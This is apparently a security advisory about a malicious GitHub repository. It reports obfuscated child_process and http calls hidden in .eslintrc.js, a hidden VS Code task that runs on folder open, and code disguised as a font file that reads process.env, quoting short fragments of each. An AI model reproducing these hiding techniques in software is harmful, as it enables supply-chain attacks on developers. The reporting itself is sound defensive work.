GCVE-110-OSM-2022-129

muhammadfaisal1194/APIs-NestJs hides network and command execution in a build configuration file, where an ordinary build runs it. - Opens a socket or runs a decoded command from a build or lint configuration file, which the toolchain loads and executes on an ordinary build. File: .eslintrc.js Observed: require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073" Buffer.from(n,"base64 Observed: require("\u0068\u0074\u0074\u0070" - Executes code automatically when the folder is opened in an editor. File: .vscode/tasks.json Observed: folderOpen node ./public/fonts/fa-solid-400.woff2 Observed: "hide": true, "presentation": { "reveal": "never", "panel": "dedicated", "focus": false, "clear": false, "echo": false, "close": true }, "runOptions": { "runOn": "folderOpen" - Carries a file whose extension declares an image, font or other binary asset, but whose content is program code, and runs it. File: public/fonts/fa-solid-400.woff2 Observed: [process.env File: .eslintrc.js, public/fonts/fa-solid-400.woff2 Observed: global.i="A9-1651-2" (3 further lines omitted for length.)